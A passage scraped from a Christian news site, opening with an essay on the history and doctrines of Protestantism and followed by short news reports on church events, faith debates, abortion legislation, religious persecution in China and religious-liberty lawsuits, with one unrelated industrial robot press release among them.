us to consider not merely a Man but the Movement. Protestantism is a Movement: The History of Protestantism Protestantism may be thought of in terms of history, but it is also a matter of the individual believer and her response to God. Protestantism is a movement within the broader Church of our Lord Jesus Christ that is fueled by a preeminent concern for a personal relationship with God through Jesus Christ according to Scripture. The theological basis for the relationship is justification by faith, through the grace of God, in Jesus Christ, according to the Scriptures, and all to the glory of God. The five Solae articulate the powerful doctrines that fuel the Protestant faith: Sola Scriptura, Sola Gratia, Sola Fides, Solus Christus, and Soli Deo Gloria. Carefully followed, the five Solae kept the movement on the right road, faithful to the Word and faithful to the Reformation of the Church.2 Protestantism is both an ecclesial movement of the Church, and a devotional urge within the believer. Historically, that which may be called the Protestant faith emerged from perceived and undeniable abuses within the Roman Catholic Church during the late fifteenth, sixteenth, and seventeenth centuries in the British Isles and Northern Europe. The protests against both teaching and praxis was not limited to Lutherans, Calvinists, and Anabaptists. Even the Roman Catholic Church responded to the Protestants with a Counter-Reformation to bring transformation. The term, Protestantism, remains a historical reality as the movement has retained its basic tenets but taken new forms in the Global South and the Global East. Protestantism is a personal response to either self, or a specific Christian community, with its basic concern for personal salvation through Christ according to the Scriptures The phrase ecclesia reformata, semper reformanda (the church reformed, always reforming) is an appropriate description of the heartbeat of the Protestant faith for a given community (i.e., a denomination, a local church, or even a national body) as well as for the individual. Almost one billion people, at this writing of this article, belong to that vital part of the Christian faith called Protestantism. The word is, of course, from the word protest. And while protest harkens back to Lutherto John Wycliffe of Oxford and John Hus of Bohemia before Luther (and even to other similar leaders and groups before those morning lights of the Reformation)the meaning of Protestant was, is, and will, no doubt, continue to be, an impulse in the Church for reform. Protestantism that began in England in the 15th century and in Western Europe in the 16th century was not merely about reform from undeniable abuses of faith and practice within the remnant of the medieval Church, that is, the Roman Catholic Church. Protestantism Is a Message: The Reformation and Protestantism As we have said, one cannot separate Protestantism from Martin Luther. And it follows logically that one cannot separate Martin Luther from the Reformation. The Reformation began with "the morning star of the Reformation," John Wycliffe (1320-1384) of Oxford. Wycliffe and his band of preachers, called Lollards, were concerned that the people of England were not hearing the word of God in the common tongue. Indeed, stained-glass windows and passion plays were the primary way that people received the gospel of Jesus Christ in the Middle Ages in England. While this was undoubtedly sufficient in some cases to convert the soul, it was altogether insufficient to grow the soul. In this sense, then, the Great Commission was not being fulfilled in the British Isles. So, John Wycliffe set about to change that. He not only preached the Bible in the English language of the people, but he also sent out his Lollards across the land, replacing the traveling passion plays, with evangelistic messages. A fire began to blaze across the realm: the flame of revival.3 This powerful movement was picked up by leaders on the continent. One of those leaders was a Roman Catholic priest by the name of John Hus. Hus ministered in Bohemia, the modern Czech Republic. He preached in the tongue of the people in the advanced doctrines that he found in the Bible such as salvation by grace through faith in Jesus Christ. While Wycliffe and Hus were the morning stars of the Reformation, Martin Luther was the exploding nova of the Reformation. Aware of his work building on the labors of those before him, Luther wrote, St. John Huss prophesied of me when he wrote from his prison in Bohemia, They will roast a goose now (for Huss means a goose), but after a hundred years they will hear a swan sing, and him they will endure.And that is the way it will be, if God wills. [LW 34:103] Dr. Martin Luther was a professor of Bible and theology at Wittenberg when he began to understand the doctrines of grace. Specifically, he found in the book of Galatians that we are not justified by works of the flesh but only by faith. There were other necessary reforms that needed to be made in the Roman church of the day. Luther set out to do just that with his 95-Theses nailed to the church door at Wittenberg, a sort of 16th-century Facebook. Aided by the printing press of Gutenberg, Martin Luthers doctrine begin to spread throughout the continent. Others assimilated the teachings of Luther into their own national churches. Thus, we see the ministry of John Calvin in Geneva. Calvin, perhaps more than any other reformer of the era, systematized and appropriated the doctrines of grace into the Genevan church and even the Genevan political, economic, and governmental processes. In this sentence, we see that the Reformation was the explosion of Protestant thought. It is at this point that we should consider what the Protestant thought is made of and how it differs from the Roman Catholic doctrines of the day. What is the Biggest Difference between Protestantism and Roman Catholicism? Protestant thought centers upon the divine revelation of Almighty God in his word, the Holy Scriptures. Furthermore, Protestantism insists that each and every believer should be grounded in that Word and have access to that Word. Whereas Roman Catholic clergy performed the service of the Mass with an emphasis upon Ex opere operato, from the work worked. Protestant ministers conducted worship services that centered in the Word preached and Sacraments administered according to the faith of the believer. In its most severe interpretation, not altogether unjustified with the state of the medieval Church, this doctrine meant that the efficacy, or power, of the Sacraments were tied to the action of the priest. Such a view was repugnant to the renewed spirit of Martin Luther, Calvin, and others. Not only did this mean that the Roman Catholic priest reserved a power that the Reformers ascribed only to Christ, but that the people were dependent upon the Roman priesthood for the dispensing of Gods grace. From this one protest, the Reformed churches exalted the Word above the one who dispensed it, whether by preaching or through the Word made visible, the Sacraments. A thorough systematic theology would follow from this singular idea: that the believer, by virtue of the life, death, resurrection, and ascension of Jesus Christ has essential access to God without the need of a priest. There is continuity and discontinuity from the medieval Roman Church to the modern Roman Catholic Church. The Roman Catholic Church did not remain as it was. Todays Protestant believer must be careful to recognize the enormous strides made within the Roman Catholic Church and the common heritage that all Western Christians have. That being said, differences remain on how Gods grace is appropriated by a believer. Grace comes as a gift in both major Christian groups but is accessed through the Magisterium of the Roman Church, the hierarchy of the clergy, or for Protestants through a personal relationship with God through Christ. This difference has proved to be both a strength and a source of continuing dispute within the larger Protestant movement. Why Are There So Many Protestant Denominations? There are two major reasons for Protestant denominations. The first reason is that if Protestantism is a movement and not a replacement church for the existing church of the dayand we posit that this is precisely what Protestantism is, a movementthen the application and appropriation of this movement must by its own emphases be nationalized. This is to say that Protestantism, with its stress on the preeminence of the Word of God for all that is vital in faith and life, as well as the Great Commission being realized by the services of the Church conducted in the common language of the people, was bound to flourish in national communities. Thus, we see the Dutch Reformed Church tracing its roots to the Protestant faith coming to the Netherlands. Anglicanism and Methodism, Presbyterianism, and Congregationalism, along with Baptists, thrived as offshoots of the Reformation in the British Isles. Even in the United States, today, the major Protestant dominations and traditions are remnants of British, Dutch, or German settlers who transported their faith across the Atlantic Ocean and settled in on the coasts, plains, and mountains of the New World. The other reason for the proliferation of sub-groups within the larger Protestant movement has to do with the Protestant doctrinal, if not cultural, instinct. The doctrine that emphasized a personal relationship with God through Christ, without the necessity of a church hierarchy, was often used to promote a continued reformation within a Reformation. A central concept of the Reformation had been (and remains) ecclesia reformata, semper reformanda (the church reformed, always reforming). However, some, then and now, use this individualized tenet of Protestantism to divide from existing communities. Often, the division is consenting and even healthy, giving even more expressions of faith to a community. Other times, the splintering reveals a possible germ of revolt that was embedded within the sons and daughters of Luther. Evangelicals and Protestantism It is interesting that as Dr. Martin Luther received his doctorate at Wittenberg University, he vowed, with the other graduates, I swear to defend evangelical truth vigorously. We, thus, see that evangelical was a word already in use by Luther and others well before October 31, 1517 (the date when Luther nailed the 95 Theses on the door at Wittenberg). Evangelical is an English word derived from the Greek, Evangel. This good biblical word is one employed to describe the proclamation of the Good News of Jesus Christ: that what God has required, God has supplied, in Christ Jesus. This is what Luther vowed to defend, even before his own personal reformation. Evangelical is, first and always, one who declares the Gospel, the Evangel, the Good News of Jesus Christ. Protestantism is essentially evangelical in its theology and practice. Protestant thought is concerned with the fulfilling of the Great Commission in the world according to the Scriptures. So, the evangel of God is the living legacy of Protestantism. The phrase became more particularly associated with enthusiastic movements like Methodism during the eighteenth-century Wesleyan evangelical revivals and the First Great Awakening in America with Jonathan Edwards and George Whitefield. The term was increasingly used to describe those Protestants most active in missions, preaching for personal renewal, and for responding to the cultural mandate (bringing every area of life under the Lordship of Jesus Christ).4 Protestantism is a Mosaic I recall Dr. D. James Kennedy (1930-2007) saying that the Lord gave us denominations so that diverse people can access the Gospel at various stages in life. For example, one person is wounded and is drawn to the healing liturgy of the Anglican church. Another person has been burned by an autocratic and authoritarian religious background and is drawn to the representative community life of a Presbyterian church. Yet, another, destitute and out of place in many suburban churches (however faithful they may be in trying to welcome him) finds the message of Christ in a Pentecostal street mission. I believe that both biblical truth and our own experience validate Dr. Kennedys assertion. I think of the Church, the Bride of Christ, like a beautiful mosaic. There are thousands of embedded pieces of divinely wrought glass, every color in the broad spectrum, embedded within the clay of the earth where we now reside. The cuts are as varied as the colors. To be sure: there is one Light. But as the Light is dispersed through the prism of our cultures, our communities, and our very lives, a vibrant profusion of faith erupts in celestial celebration. This is the Church of our Lord across the globe and throughout the ages. There is unity in the diversity, commonality in the differences, and a singular faith within the countless saints. This structure and that shape, this shade and that tint, are togethercarefully, artfully, providentiallyplaced into the mosaic. When you stand back you gain perspective. You step away further. The odd assortment of colored glass and stone has intention and purpose. For, now, you can see. The mosaic is a picture of Jesus. Some might call me Pollyanna for viewing the Body of Christ this way. But to examine the idea of Protestantism (which may exist in every branch of Christianity), noting its adaptability, consistent growth, and universal appeal is to acknowledge the vitality of Jesus Christ alive in the world today. Michael A. Milton, PhD (University of Wales; MPA, UNC Chapel Hill; MDiv, Knox Seminary), Dr. Milton is a retired seminary chancellor and currently serves as the James Ragsdale Chair of Missions at Erskine Theological Seminary. He is the President of Faith for Living and the D. James Kennedy Institute a long-time Presbyterian minister, and Chaplain (Colonel) USA-R. Dr. Milton is the author of more than thirty books and a musician with five albums released. Mike and his wife, Mae, reside in North Carolina. Reference Notes 1. Here I Stand: A Life of Martin Luther by Roland H. Bainton. 2. The Solas of the Reformation, The Lutheran Ministerium and Synod-USA (blog). 3. The English Reformation by Arthur Geoffrey Dickens. 4. The Cultural Mandate is most associated with the theological commitments of Abraham Kuyper, Francis Schaeffer, and D. James Kennedy. This view has remained a strong part of the Reformed Tradition within Protestantism. The Cultural Mandate is based upon Genesis 1:28, And God blessed them. And God said to them, Be fruitful and multiply and fill the earth and subdue it and have dominion. An example of viewing world history through the lens of the Cultural Mandate is found in D. James Kennedy, What If Jesus Had Never Been Born? (Thomas Nelson, 2008). Sources 1. World Christian Encyclopedia: A Comparative Survey of Churches and Religions in the Modern World AD 1900-2000 by David B. Barrett. 2. The History of Christian Doctrines by Louis Berkhof. 3. Romans: Justification of Faith (Romans 1-4) by J.M. Boice. 4. Sermons on Galatians by John Calvin. 5. The Story of Christianity: The Reformation to the Present Day. Vol. 2 by Justo L. Gonzales. 6. The Next Christendom: The Coming of Global Christianity by Philip Jenkins. 7. Galatians by Martin Luther, edited by Alister McGrath and J.I. Packer. 8. Protestantism: A Very Short Introduction by Mark A. Noll. This article is part of our Denomination Series listing historical facts and theological information about different factions within and from the Christian religion. We provide these articles to help you understand the distinctions between denominations including origin, leadership, doctrine, and beliefs. Explore the various characteristics of different denominations from our list below! Catholic Church: History, Tradition & Beliefs Baptist Church: History & Beliefs Presbyterians: History & Beliefs Mennonites & Their Beliefs United Methodist Church: History & Beliefs Seventh-Day Adventists & Their Beliefs Lutheran History & Beliefs Photo credit: Thinkstock/AVTG, Thinkstock/standret Lysa TerKeurst, husband renew vows after overcoming infidelity, public separation Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Over a year after announcing that she would be pursuing a divorce with her husband, Proverbs 31 Ministries President Lysa TerKeurst renewed her vows this holiday season to her husband of over 25 years. On an unusually sunny Tuesday in December, we dressed up a bit and whispered healing words, heartfelt promises, and holy vows, TerKeurst wrote on Instagram last week with a photo of herself and her husband, Art, during the ceremony. A million prayers. A miracle answer. A marriage restored." It was in June 2017 when the popular author and international speaker dropped a bombshell on her supporters and announced that she would be separating from her husband and pursuing a divorce due to his ongoing infidelity and substance abuse. TerKeurst explained that when she first found out about Art's affair with a woman he met online, she had decided not to divorce him. But even after fighting the "hardest battle" of her life to save her marriage for the last couple of years, "he has continued to abuse substances, be unfaithful, and refused to be truthful to me and our family." "After much prayer and consultation with wise, biblically-minded people, I have decided that Art has abandoned our marriage," she said, utterly heartbroken. Shortly after the shocking news, she announced that she was also diagnosed with breast cancer and would need to undergo a double mastectomy. TerKeurst recently released a book, titled It's Not Supposed to Be This Way: Finding Unexpected Strength When Disappointments Leave You Shattered, about her devasting journey. In it, she wanted to be transparent with all those who look to her for guidance by sharing the hard moments of her family's story and how the Lord has guided her through it all. She is now cancer free and after extensive counseling, fasting and, as she told CP in a recent interview, keeping the lines of communication open, the couple have rededicated their hearts back to each other by renewing their vows. The ceremony took place in North Carolina with their closest family members, all who took to social media with posts hailing the couple as heroes for their inspiring story of redemption. The 49-year-old minister has made it her life goal to empower other women and encourage them in their marriages. Whether through counseling, speaking engagements or her books, she has always preached hope and restoration. Now, her life has become a true testament to that through hope in her own despair. Never doubt we serve a God who still does miracles. In the middle of the work He did from the devastation in my marriage nothing looked like I hoped and everything felt impossible, she wrote in another blog post. But all the while when I saw nothing, God was doing something. And in His way and His timing, new life came. The minister ended her Instagram testimonials with a photo of her and her husband kissing at their vow renewal celebration. I still cry over what was. I still find myself wishing the hurt wasnt part of our story. But God has whispered deep into my soul, I havent cursed you with this. Ive entrusted you with this. Oh God, may we be found fiercely faithful, TerKeurst declared. We will go to those on the brutal battlefield of heartbreak and speak Truth. Show redemption. And call forth life from dead bones in the name of Jesus. Then at the end of each day, we will seal our commitment with a kiss of togetherness. For we cant change what was. But we sure can lavishly love, honor, and appreciate the breathtaking reality of what is. See TerKeursts ceremony photos and read her full Instagram posts here. UK cathedral seeks to help people connect to God through helter skelter, labyrinth, yoga mats Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A cathedral in the U.K. has announced plans to help people connect to God through installing a helter skelter, including a labyrinth, Bible box, and yoga mats. Norwich Cathedral announced last week that a fairground ride is to be installed inside the building in the summer of 2019, hoping to showcase the ancient space "in a new way and open up conversations about faith." While commonly associated with the song "Helter Skelter" by The Beatles and mass murderer Charles Manson in the U.S., in England, a "helter skelter" has been a popular amusement ride since the turn of the 20th century, according to phrases.org. The cathedral's 40-foot-tall helter skelter will allow visitors to climb inside and have a look at the famous medieval roof bosses that depict stories from the Bible. Yoga mats will be stationed for people to gaze up at the cathedrals ceiling, while a canvas labyrinth will give visitors space to walk, reflect, and pray. Among the other novelties, an 8ft by 8ft by 12ft "Bible Box" will offer people the chance to literally sit inside a Bible and read it in a new way. A cathedral may not be the natural home of a helter skelter but that is precisely part of the draw," said Rev. Canon Andy Bryant, canon for mission and pastoral care at the cathedral. We will be doing what cathedrals have always done: helping people see things differently and make connections with the things of God," he added. Bryant continued: The helter skelter and all the other activities will be a way for visitors old and new to explore Norwich Cathedral in an entirely unique way and we hope people of all ages will enjoy taking part in the Seeing It Differently project. The initiative, called "Seeing It Differently," will run at Norwich Cathedral from August 7 to 18. Several U.K. cathedrals and churches have opened their spaces recently to extra-curricular projects, from movies to fashion-shows, some which have drawn criticism. Earlier in 2018, Derby Cathedral allowed a local cinema to screen horror/thriller films such as "The Wicker Man" and "Don't Look Now," which contained scenes depicting graphic sex, full female nudity and human sacrifice. Critics suggested that such scenes are inappropriate to be shown inside a church. The Very Rev. Stephen Hance, the Dean of Derby Cathedral, argued that the movies weren't "showing God anything that He hasn't seen before." "They are actually really powerful stories about faith and doubt and some of the things people wrestle with," Hance said. In 2017, St. Andrew's Church in Holborn, which was founded 1,000 years ago, was used by a Turkish fashion designer as a runway for a modeling show that featured outfits with demonic symbolism, including inverted crosses and devil horns. A spokesman for the church said at the time that St. Andrew's agreed to the booking as it has always supported London Fashion Week, but was not aware of the satanic-themed content that was to be featured. Are Christians who commit suicide condemned to Hell? Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Responding to the question of whether or not Christians who commit suicide go to Heaven, ethicist Russell Moore said that because the blood of Christ covers sins past, present and future, the last thing we do does not determine where we will spend eternity. Moore, president of the Ethics & Religious Liberty Commission of the Southern Baptist Convention, said hes often asked the question by worried individuals whose loved one committed suicide. They worry, he said. Does this mean because this person essentially the last act on earth was a sin, does this mean that that person is in Hell? And the answer to that is no. This person is in Christ. That means that the blood of Christ covers that person's sins, past, present and future. And so we're not saved on the basis of the last thing that we do being something that is acceptable to God. We're saved by the grace and mercy of God. But sometimes, Moore said hes hesitant to weigh in on whether or not Christians who commit suicide go to Heaven because he fears some will view it as permission to commit suicide. Its not OK, he underscored. A suicide is murder. Suicide is the attacking of the image of God. And suicide is horrible. Its not only a sin but a sin that leaves wreckage and devastation all over the place. And so if you're someone who's asking that because you're contemplating suicide, I would just plead with you to talk to people in your life and get help because life is worth living." Many individuals who commit suicide are in a place of deep, deep anguish and distress of various sorts or suffering from mental illness, Moore pointed out, adding we ought to view them with compassion. The response that we ought to have when someone we love commits suicide is not to blame people, not to blame that person, not to be angry at that person, he concluded. Nor is it to wonder, Does this mean that this person is outside of the reach of God's grace? God's grace covers a multitude of sins, including those that are so hurtful that we hesitate to even talk to them. Amid a dramatic increase in suicide over the last two decades, a number of faith leaders have weighed in on whether or not those who commit suicide are condemned to Hell. Recently, a Michigan priest came under fire for suggesting at the funeral of an 18-year-old college student that he might not go to Heaven because he took his own life. "It was his time to tell everybody what he thought of suicide, [and] we couldn't believe what he was saying," the teen's father, Jeff Hullibarger, told the Detroit Free Press. He was up there condemning our son, pretty much calling him a sinner. He wondered if he had repented enough to make it to Heaven. He said 'suicide' upwards of six times. Apologist and New Testament scholar Dr. Jeremiah Johnston has argued that suicide is not the unforgivable sin. "The only sin that God cannot forgive is the sin of rejecting Jesus Christ as Lord and Savior," he told CP earlier. "Do people who commit suicide go to Hell? Some people teach that suicide is the 'unforgivable sin.' God forgives that sin. Is it a sin? Absolutely. But the salvation we receive from Jesus Christ is eternal, regardless of our mental state or our spiritual maturity or immaturity. Otherwise, the Gospel is void. Do you know how many Christians die unexpectedly with unconfessed sin in their life?" Kayla Stoecklein, widow of late Inland Hills Church Lead Pastor Andrew Stoecklein, who died after attempting suicide at his California church in August, also debunked the commonly held view and wrote on a blog, "This is a common misbelief about suicide and it breaks my heart ... I believe with 100% of my soul that Andrew is in heaven. Andrew had a real, raw, authentic, and infectious relationship with Jesus. Thousands of people will be in heaven because of him." Saddleback Church co-founder and best-selling author Kay Warren whose son, Matthew, died by suicide at age 27 in 2013, has also emphasized that suicide doesn't condemn a Christian to Hell. "God's promised us that Matthew's salvation was safe and secure. Matthew gave his life to Jesus when he was a little boy. And so, I'm absolutely 100 percent confident based on the work of Jesus that Matthew is in Heaven," she told The Christian Post in an earlier interview. A gender-neutral Santa? Yes, some say: survey Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Santa Claus should be female or gender-neutral, some say. In a recent survey conducted by logo design company GraphicSprings, 800 people across the United States and U.K. were asked for suggestions about how to 'rebrand' Santa for the modern era. The respondents' replies were subsequently submitted to a group of 4000 people for a vote. "About 23 percent of respondents think Santa should have an iPhone, while 25 percent said Saint Nicholas should wear sneakers or trainers. Eighteen percent said he should be 'more hipster,' while 22 percent said he should ditch the sleigh and reindeer for a flying car," according to Fox News. Approximately one-fourth of respondents also said that Santa should give up the North Pole toy workshop and just acknowledge that, like so many people, he uses Amazon Prime to buy Christmas gifts. Others say he should ride a hoverboard. When asked what gender a rebranded Santa for modern society ought to be, nearly 30 percent indicated he should be female or gender-neutral. The majority preferred that Santa remain male. I picture a woman giving presents, Andy Souza, a resident of Highland Park, New Jersey said in comments to local outlet News 12 New Jersey. I just feel like a white, old man giving presents is kind of creepy. John Lerman, another New Jersey resident said Santa can be whatever you want it to be because I think Santa is a mystical creature. History paints a different picture of the actual man who has become known as Santa Claus. According to the St. Nicholas Center in Holland, Michigan whose tagline reads "Discovering the Truth About Santa Claus" Saint Nicholas was known for his generosity. "Nicholas used his whole inheritance to assist the needy, the sick, and the suffering. He dedicated his life to serving God and was made Bishop of Myra while still a young man. Bishop Nicholas became known throughout the land for his generosity to those in need, his love for children, and his concern for sailors and ships," the St. Nicholas Center website reads. "Several stories tell of Nicholas and the sea. When he was young, Nicholas sought the holy by making a pilgrimage to the Holy Land. There as he walked where Jesus walked, he sought to more deeply experience Jesus' life, passion, and resurrection. Returning by sea, a mighty storm threatened to wreck the ship. Nicholas calmly prayed. The terrified sailors were amazed when the wind and waves suddenly calmed, sparing them all. And so St. Nicholas is the patron of sailors and voyagers." St. Nicholas is also the patron saint of children. Bill intended to gut Roe v. Wade sits on Ohio Gov. Kasich's desk; pro-lifers urge him to sign it Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment An Ohio bill banning abortions at six weeks is being seen as legislation that would trigger a Supreme Court review in hopes of dismantling Roe v. Wade, now a possibility with the new composition of the high court bench. A fetal heartbeat can be detected at six weeks gestation and bills outlawing abortions at that stage have long been a goal of pro-life advocates, who have emphasized the presence of a heartbeat is evidence that the unborn child is indeed a living being. The Ohio legislation, HB 258, also known as the "Heartbeat bill" passed overwhelmingly through the state legislature. "The Heartbeat Bill should be passed in every state in America, and Ohio is leading the way to reclaim state constitutional and moral authority to enact protections for our tiniest babies," Dr. James Dobson, founder of Family Talk with Dr. James Dobson, wrote in a letter to Gov. John Kasich Monday. "Just last year in 2017, there were a recorded 20,893 abortions in Ohio. This means that every day, on average, there are 57 little babies that die," he added. "You know that this legislation is the morally correct action to give the smallest children a chance at life. I hope and pray that you will do the right thing and stand for the family and the sanctity of life. Make your signature on this bill the defining moment of your legacy for the great state of Ohio." Two years ago Kasich vetoed a similar bill, arguing that the Supreme Court would declare it unconstitutional. Kasich did support a lame-duck measure banning abortions after 20 weeks of pregnancy, which provided an exception for saving the mothers life but none for rape or incest. Republicans in Ohio are not hiding their dreams about what this 2018 measure accomplishes. This legislation is 100-percent crafted to be an arrow that goes at the heart of Roe v. Wade, said Republican Rep. Christina Hagan, who is the primary sponsor of the legislation, Cleveland.com reported Wednesday. Others hope it will force a more-conservative Supreme Court to take another look at the landmark case. In May the high court declined to hear an appeal on a similarly restrictive abortion law from Arkansas. Yet now the composition of the high court is different with the summer retirement of long-time swing vote Anthony Kennedy and subsequent installation of Brett Kavanaugh in October. During his tenure on the bench Kennedy voted in favor of abortion rights and was generally liberal on social issues, whereas Kavanaugh was regarded as more conservative and was widely supported by pro-life groups and social conservatives, though it remains to be seen how he will come down on such issues. If Kasich vetoes the heartbeat bill again the state legislature may attempt to override it. He is expected to announce Thursday whether or not he will support it. In January, Attorney General Michael DeWine, also a Republican and an ardent pro-lifer, will replace Kasich as Governor. He has said he would approve a heartbeat bill but cannot sign a bill approved under his predecessor. The legislature would have to reconvene in their next session and vote again on the bill and send it to his desk. China institutes points-based system for arresting Christians; police ordered to make arrests or be fired Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment China's Communist government has been threatening to fire police officers who fail to meet a quota for arresting Christians, according to one officer. The officer from the city of Dalian, who wasnt named, said the police station where he works received a quarterly performance assessment plan in September that lists the number of believers officers need to detain, according to his interview that was detailed in the religious liberty magazine Bitter Winter. The assessment is based on a 100-point evaluation system with specific scores assigned for each arrested believer depending on his or her faith. The highest scores are given to the most persecuted religious movements, such as Falun Gong or The Church of Almighty God, the article revealed. For example, if a police station makes a breakthrough in a case against Falun Gong that is under the jurisdiction of the Ministry of Public Security, it scores 20 points. If the provincial Public Security Bureau manages the case, the score is lower 10 points. An arrested regional leader of The Church of Almighty God will add to the stations assessment basket 20 points; and a local church leader half of it. If the quotas are not met, the station chief is at risk of being fired, the source revealed. To meet the quotas, officers resort to trading and buying names of arrested Christians off each other. The police officer said that he himself does not want to arrest innocent believers, but fears the consequences supervisors will have for him. Christians, Muslims, and other minorities have faced an increased crackdown by the administration of President Xi Jinping this year, with churches demolished on several occasions, while pastors and entire congregations have been arrested. The arrests of hundreds of believers at Early Rain Covenant Church in Chengdu made international news earlier this month. Police initially arrested some 100 Christians during a raid on the prominent underground church, while another 60 members were detained in other incidents last week. Early Rain revealed that at least three Christians were tortured by police. The church's pastor, Wang Yi, who was also arrested, decried "the wickedness of their depriving people of the freedoms of religion and of conscience." One indigenous ministry partner with Open Doors who works in China recently asked for prayers from the global Church body. The situation on the ground [in China] is always changing. Dont be too quick to jump to conclusions about what China needs. Pray for wisdom for the leaders. Pray with us, she said. Open Doors noted that the newly revised religious regulations that went into effect in February has led to the increased crackdown. The rules also heavily restrict the work of foreign ministries, limiting the collection of donations and posting faith-based content online. Christian baker Jack Phillips in court again after refusing gender transition cake Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Christian cake artist Jack Phillips is suing the state of Colorado, with his lawyers arguing on Tuesday that he has no choice but to defend himself over new threats. Phillips, who earlier this year won a Supreme Court battle over his refusal to make gay marriage cakes that go against his religious convictions, filed the lawsuit over the states latest threats to punish him for refusing to make a gender transition cake. "At this point, he's just a guy who is trying to get back to life. The problem is the state of Colorado won't let him," said Alliance Defending Freedom attorney Jim Campbell, representing Phillips, according to The Associated Press. The Colorado Civil Rights Commission has argued that Phillips discriminated against Denver attorney Autumn Scardina, who wanted the baker to make a cake last year that was blue on the outside and pink on the inside. The dessert was meant to symbolize Scardinas transition from male to female. Phillips' attorneys say that their client "believes as a matter of religious conviction that sex the status of being male or female is given by God, is biologically determined, is not determined by perceptions or feelings, and cannot be chosen or changed. The lawsuit is asking $100,000 in punitive damages from Aubrey Elenis, director of the Colorado Civil Rights Division, for continuing to violate his First Amendment right to practice his faith and 14th Amendment right to equal protection. Attorney General Cynthia Coffman has asked for the lawsuit to be dismissed due to state efforts to enforce its order against Phillips. Deputy Attorney General LeeAnn Morrill told Senior U.S. District Court Judge Wiley Y. Daniel that the commission is looking at anti-discrimination laws it alleges Phillips is violating and insisted the case is not about religion. The judge cited the Supreme Court justices' opinions from the 7-2 ruling in favor of Phillips in June during Tuesday's hearing and mentioned now-retired Justice Anthony Kennedy's conclusion that the commission had shown "hostility" toward religion. Im inclined to deny the motion to dismiss, Daniel said. Another hearing in the case is scheduled for February. As ADF explains on its website, Phillips has refused to make numerous cakes that go against his beliefs, including ones about drug-use and ones with sexually explicit material and satanic imagery. Noting that the "same state agencies decided to go after him a second time" after losing at the Supreme Court, ADF argued, "If that isnt government hostility towards people of faith, what is?" "After spending six years on his first legal battle, Jack faces the discouraging reality that his business is once again on the line. All because some state officials disagree with his desire to live out his faith," the law group said. "Jack had no choice but to file a federal lawsuit to defend himself from this targeting. He should not have to fear government punishment for his faith when he opens his cake shop for business every day. But it appears that Colorado will not stop harassing him until he closes down or agrees to violate his faith." Netherlands-based Intero Integrity Services, a leading inspection and industrial services specialist, has announced the successful deployment of the OTIS500 robot, during a low flash point in-service tank inspection for Dutch tank storage firm Vopak. The Atex approved tank inspection robot is specially developed for live deployment, eliminating the need to take the tank offline, saving man-hours and tank downtime, said a statement from the company. Additionally, using an unmanned solution for tank inspection means that there are less health and safety concerns regarding the procedure and a reduction in the emission of hydrocarbon vapours and waste water, it said. Tan Soo Koong, managing director, Vopak Terminals, said: As we drive the digital and innovative transformation of the tank storage industry, our partnership with Intero allows us to leverage on technology such as inspection robotics and big data analytics to create a safer, sustainable and more productive workplace. This collaborative work was awarded the Sprint Robotics Award at the 1st World Conference for Inspection & Maintenance Robotics, which recently took place in Galveston, Texas, US, it added. The award recognises the important work by Intero to help establish robotic on-stream inspection of storage tanks, it said. Tjibbe Bouma, chairman of The Sprint Robotics Collaborative, said: The work performed for this successful project is a shining example of how close collaboration can accelerate breakthroughs in industry practices. The award recognises the important work by Intero and their project partners to help establish robotic on-stream inspection of storage tanks as a preferred standard solution to be considered for the majority of storage tanks around the world, Bouma added. Rienk de Vries chief executive officer, Intero, said: We are grateful for this opportunity to collaborate closely with Vopak for the worlds first in-service robot inspection in a low flashpoint product storage tank and honoured for our work to be acknowledged by The Sprint Robotics Collaborative. This project is a great demonstration of how close collaboration can accelerate breakthroughs in industry practices, he said. We are hoping that the successful completion of this project with Vopak and the subsequent award win for the robot will stimulate the use of this ground breaking inspection approach within the industry, he added. TradeArabia News Service Christian conservatives defend Muslim teacher who lost job for refusing pro-Israel contract Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Prominent Christian conservatives and other supporters of the First Amendment are speaking up in defense of free speech after a Muslim school contractor in Texas claimed to have lost her job for not signing what has been described as a pro-Israel pledge. Bahia Amawi, a speech pathologist who worked for nearly a decade with speech-impaired and developmentally disabled elementary school children in the Pflugerville Independent School District, has been told she can no longer work as a contractor for the school district if she doesnt sign a new contract agreement with the state. The questionable part of the agreement, presented to her for this school year in September, asked for affirmation that the contractor does not boycott Israel and will not boycott the Middle Eastern nation during the length of the contract. As an Austrian-born American citizen with Palestinian descent, Amawi felt that she could not in good conscience sign the new agreement because of her views on Israels treatment of Palestinians and has not been allowed to work for the school district because of the refusal. According to the Texas Tribune, the new clause in Amawis contract was a result of a bill signed by the states Republican Gov. Greg Abbott that made it illegal for the state to contract with companies that boycott Israel. The legislation was a response to the Boycott, Divestments and Sanctions movement challenging Israel's occupation of Palestinian territories. Amawi filed a lawsuit in the U.S. District Court of Western Texas on Sunday claiming that Texas ban on contracting with any boycott of Israel constitutes viewpoint discrimination. Friends of civil liberty right and left-need to stand up to the speech police right or left-who would forbid people saying what they believe or compel their saying what they don't believe, Robert George, a Princeton University law professor and one of the nations most prominent Christian conservative scholars, wrote on Twitter. People are commenting that speech policing happens on the left too. Yes! Of course it does. I noted that in my tweet. There are people on both sides who do it & rationalize their support for it. They condemn people on the other side for doing it while doing it themselves. Conservative writer and author Rod Dreher, a senior editor and blogger at The American Conservative who opposes the BDS movement, questioned in an op-ed what right should the state have to tell a public school teacher what she can and cannot buy, or what policies she cannot advocate. That is un-American. I would feel the same way if a state law forbade teachers from boycotting, or advocating the boycott of, Christian-owned businesses, for whatever reason, Dreher wrote. Its not the states business, period, full stop. Another law professor has called into question the accuracy of the reporting on Amawis case and whether or not Amawi fully understood the law that she was asked to affirm in the agreement. He points out that the 2017 law that Amawis contracting agreement points to only prohibits contracts with companies boycotting Israel. Note that, consistent with the language and obvious intent of the law (see the text here, it's even titled PROHIBITION ON CONTRACTS WITH COMPANIES BOYCOTTING ISRAEL), the school district certification applies to the business, it, not the individual she, David Bernstein, a professor at the George Mason University School of Law in Virginia and a Libertarian, wrote for 